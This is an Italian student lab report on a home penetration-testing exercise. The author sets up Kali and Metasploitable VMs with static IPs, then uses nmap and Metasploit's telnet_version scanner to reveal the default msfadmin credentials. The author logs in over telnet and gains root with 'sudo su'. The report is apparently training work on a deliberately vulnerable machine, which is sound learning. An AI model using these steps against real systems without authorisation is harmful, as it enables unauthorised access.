

Rapporto

Per prima cosa ho iniziato l'assegnazione configurando le interfacce di rete di Metasploitable. Gli ho dato un indirizzo IP statico di 192.168.1.40 e poi ho riavviato la VM:

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.1.40
    netmask 255.255.255.0
    gateway 192.168.1.1
```

Poi ho inserito le impostazioni di rete della VM Linux e le ho assegnato un IP statico di 192.168.1.25. Ho anche utilizzato il comando ping per verificare la comunicazione bidirezionale:

Connection name: 192.168.1.25 static

General Ethernet 802.1X Security DCB Proxy IPv4 Settings IPv6 Settings

Method: Automatic (DHCP)

Additional static addresses

Address	Netmask	Gateway
192.168.1.25	24	192.168.1.1

Additional DNS servers: 192.168.1.1

Additional search domains:

```
(rinatrustamov@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1
```

```
(rinatrustamov@kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=8.23 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=1.62 ms
```

Dopo aver scansionato le porte aperte della VM Metasploitable tramite il comando nmap, ho utilizzato il servizio porta 23 per sfruttare le vulnerabilità in msfconsole. Per prima cosa ho scritto show telnet, quindi ho scelto il modulo ausiliario appropriato:

```
Interact with a module by name or index. For example info 80, use 80 or use post/windows/gather/credentials/mremote
msf6 > use 73
msf6 auxiliary(scanner/telnet/telnet_version) > options
```

Dopo aver impostato l'indirizzo IP dell'host, eseguo il modulo. E mostra le credenziali di accesso della VM metasploitable:

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadm
in/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
```

```
a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadm
in/msfadmin to get started\x0a\x0a\x0ametasploitable login:
```

Poi ho usato il comando "telnet 192.168.1.40" e ho inserito le credenziali di accesso (quelle che avevo ottenuto in precedenza da un comando simile) per entrare nella VM Metasploitable dal terminale Kali Linux. Si apre l'interfaccia msfadmin. Poi comando "sudo su" per ottenere i privilegi di root. Per verifica chiedo "whoami" e risponde "root":

```
metasploitable login: msfadmin
Password:
Last login: Tue Dec 17 08:30:07 EST 2024 from 192.168.1.25 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ sudo su
root@metasploitable:/home/msfadmin# msfadmin
bash: msfadmin: command not found
root@metasploitable:/home/msfadmin# whoami
root
```

